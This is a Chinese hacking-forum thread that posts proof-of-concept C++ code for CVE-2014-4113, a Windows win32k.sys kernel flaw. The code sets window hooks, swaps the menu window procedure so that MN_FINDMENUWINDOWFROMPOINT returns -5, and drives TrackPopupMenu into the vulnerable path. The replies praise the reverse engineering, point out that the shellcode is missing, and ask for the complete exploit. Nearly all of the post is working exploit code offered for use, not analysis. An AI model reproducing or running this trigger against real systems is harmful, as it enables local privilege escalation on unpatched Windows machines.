[Poc] CVE-2014-4113

poc
  1. // tr.cpp : 定义应用程序的入口点。
  2. //

  3. #include "stdafx.h"
  4. #include "tr.h"

  5. #define MAX_LOADSTRING 100

  6. #pragma comment(lib,"user32.lib")
  7. // 全局变量:
  8. HINSTANCE hInst;                                                                // 当前实例
  9. TCHAR szTitle[MAX_LOADSTRING];                                        // 标题栏文本
  10. TCHAR szWindowClass[MAX_LOADSTRING];                        // 主窗口类名
  11. CHAR szWindowClass1[MAX_LOADSTRING]="woqunimalegebi";;
  12. HWND global_hWnd;

  13. // 此代码模块中包含的函数的前向声明:
  14. ATOM                                MyRegisterClass(HINSTANCE hInstance);
  15. BOOL                                InitInstance(HINSTANCE, int);
  16. LRESULT CALLBACK        WndProc(HWND, UINT, WPARAM, LPARAM);
  17. INT_PTR CALLBACK        About(HWND, UINT, WPARAM, LPARAM);


  18. void xxxMenu(int idhook);

  19. DWORD WINAPI startaddress(
  20.         _In_  LPVOID lpParameter
  21.         )
  22. {
  23.         xxxMenu(2);

  24.         return 0;
  25. }

  26. int APIENTRY _tWinMain(HINSTANCE hInstance,
  27.                      HINSTANCE hPrevInstance,
  28.                      LPTSTR    lpCmdLine,
  29.                      int       nCmdShow)
  30. {
  31.         UNREFERENCED_PARAMETER(hPrevInstance);
  32.         UNREFERENCED_PARAMETER(lpCmdLine);

  33.         HANDLE hthread = CreateThread(0,0,startaddress,0,0,0);

  34.         if (WaitForSingleObject(hthread,0x493e0))
  35.         {
  36.                 TerminateThread(hthread,0);
  37.                 return 0;
  38.         }
  39.         return 0;
  40. }


  41. #define MN_ENDMENU 0x1F3
  42. HHOOK hhk;

  43. unsigned int g_flag=0;
  44. unsigned int g_flag1= 0 ;
  45. unsigned int g_flag2=0;
  46. #define  MN_FINDMENUWINDOWFROMPOINT 0x1eb


  47. WNDPROC lpPrevWndFunc;

  48. LRESULT CALLBACK fn(
  49.         _In_  int code,
  50.         _In_  WPARAM wParam,
  51.         _In_  LPARAM lParam
  52.         )
  53. {
  54.         if (wParam==4)
  55.         {
  56.                 if (*(DWORD *)lParam == GetCurrentThreadId())
  57.                 {
  58.                         if (*(DWORD *)(lParam+12)==0x900516)
  59.                         {
  60.                                 g_flag1 = 1;
  61.                         }
  62.                 }
  63.         }
  64.         return CallNextHookEx(0,code,wParam,lParam);

  65. }


  66. LRESULT  newWinlng(HWND hwnd,
  67.         UINT uMsg,
  68.         WPARAM wParam,
  69.         LPARAM lParam)
  70. {
  71.         if ( uMsg != MN_FINDMENUWINDOWFROMPOINT )
  72.         {
  73.                 return CallWindowProcA(lpPrevWndFunc, hwnd, uMsg, wParam, lParam);
  74.         }

  75.         SetWindowsHookExA(9, fn, 0, GetCurrentThreadId());
  76.         SendMessageA(hwnd, 0, 0x900516, 0);
  77.         UnhookWindowsHook(9, fn);
  78.         if ( g_flag1 )
  79.         {
  80.                 EndMenu();
  81.                 return CallWindowProcA(lpPrevWndFunc, hwnd, MN_FINDMENUWINDOWFROMPOINT, wParam, lParam);
  82.         }
  83.         EndMenu();
  84.         return -5;

  85. }

  86. LRESULT CALLBACK lpfn(
  87.         _In_  int code,
  88.         _In_  WPARAM wParam,
  89.         _In_  LPARAM lParam
  90.         )
  91. {
  92.        

  93.         if (*(DWORD*)(lParam+8)==MN_FINDMENUWINDOWFROMPOINT)
  94.         {
  95.                 if (!g_flag)
  96.                 {
  97.                         g_flag = 1;
  98.                         if (UnhookWindowsHook(4,lpfn))
  99.                         {
  100.                                 lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam+12),-4,(LONG)newWinlng);

  101.                         }
  102.                 }
  103.         }
  104.         return CallNextHookEx(0,code,wParam,lParam);

  105. }



  106. LRESULT CALLBACK WndProcTest_fuzz(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
  107. {
  108.         int wmId, wmEvent;
  109.         PAINTSTRUCT ps;
  110.         HDC hdc;
  111.         int idhoo;
  112.         switch (message)
  113.         {
  114.         case WM_ENTERIDLE:
  115.                 if (g_flag2!=1)
  116.                 {
  117.                         g_flag2=1;
  118.                         PostMessageA(hWnd,WM_KEYDOWN,0X28,0);
  119.                         PostMessageA(hWnd,WM_KEYDOWN,0x27,0);
  120.                         PostMessageA(hWnd,WM_LBUTTONDOWN,0,0);

  121.                 }
  122.                 break;
  123.         default:
  124.                 return DefWindowProc(hWnd, message, wParam, lParam);
  125.         }
  126.         return 0;
  127. }

  128. HMENU popMenu()
  129. {
  130.         HMENU hmenu = CreatePopupMenu();

  131.         CHAR name[4] = "AAA";
  132.         MENUITEMINFOA item  ;
  133.         HMENU hmenu2;
  134.         memset(&item,0x00,sizeof(MENUITEMINFOA));
  135.         item.cbSize = sizeof(item);
  136.         item.fMask = MIIM_STRING;
  137.         //item.fType = MFT_STRING ;
  138.         //item.dwTypeData = name;
  139.         //item.cch = 4 ;

  140.         if (InsertMenuItemA(hmenu , 0 , 1 ,  &item ))
  141.         {
  142.                 hmenu2 = CreatePopupMenu();
  143.                 CHAR name2[4] = "BBB";
  144.                 MENUITEMINFOA item2  ;
  145.                 memset(&item2,0x00,sizeof(MENUITEMINFOA));
  146.                 item2.cbSize = sizeof(item);
  147.                 item2.fMask = 0x44;
  148.                 item2.hSubMenu = hmenu;
  149.                 //item2.fType = MFT_STRING ;
  150.                 item2.dwTypeData = name;
  151.                 item2.cch = 1 ;
  152.                 if (!hmenu2 || !InsertMenuItemA(hmenu2,0,1,&item2))
  153.                 {
  154.                         DestroyMenu(hmenu);

  155.                         if (hmenu2)
  156.                         {
  157.                                 DestroyMenu(hmenu2);
  158.                         }
  159.                 }
  160.         }
  161.         else
  162.         {
  163.                 DestroyMenu(hmenu);
  164.         }
  165.         return hmenu2;
  166. }

  167. void xxxMenu(int idhook)
  168. {
  169.        
  170.         //registeclass
  171.         WNDCLASSA wcex;

  172.         memset(&wcex,0x00,sizeof(wcex));

  173.         wcex.lpfnWndProc        = WndProcTest_fuzz;

  174.         wcex.lpszClassName        = "wocaonimalegeb";

  175.         RegisterClassA(&wcex);
  176.        
  177.         HWND hwin = CreateWindowExA(0,"wocaonimalegeb",0, 0,
  178.                 -1, -1, 0, 0, NULL, NULL, 0, NULL);

  179.         HMENU hmenu = popMenu();

  180.         if (hmenu)
  181.         {

  182.                 if (SetWindowsHookExA(WH_CALLWNDPROC,lpfn,0,GetCurrentThreadId()))
  183.                 {
  184.                         if (TrackPopupMenu(hmenu , 0 , -10000 , -10000 ,0,hwin , NULL ))
  185.                         {
  186.                                 PostMessageA(hwin,0,0,0);
  187.                         }
  188.                 }
  189.         }
  190.        
  191.         DestroyWindow(hwin);

  192.         if (hmenu)
  193.         {
  194.                 DestroyMenu(hmenu);
  195.         }

  196.         UnhookWindowsHook(WH_CALLWNDPROC,lpfn);

  197. }
复制代码
附件: 您需要登录才可以下载或查看附件。没有帐号?注册
青春是用来奋斗的

NB...全逆出来了

TOP

LZ貌似忘了把ShellCode那段数据填充写进去。。。。

TOP

不全啊,请求楼主将完整的利用代码放出来。。

TOP

解压不成功啊

TOP

感谢楼主!!!

TOP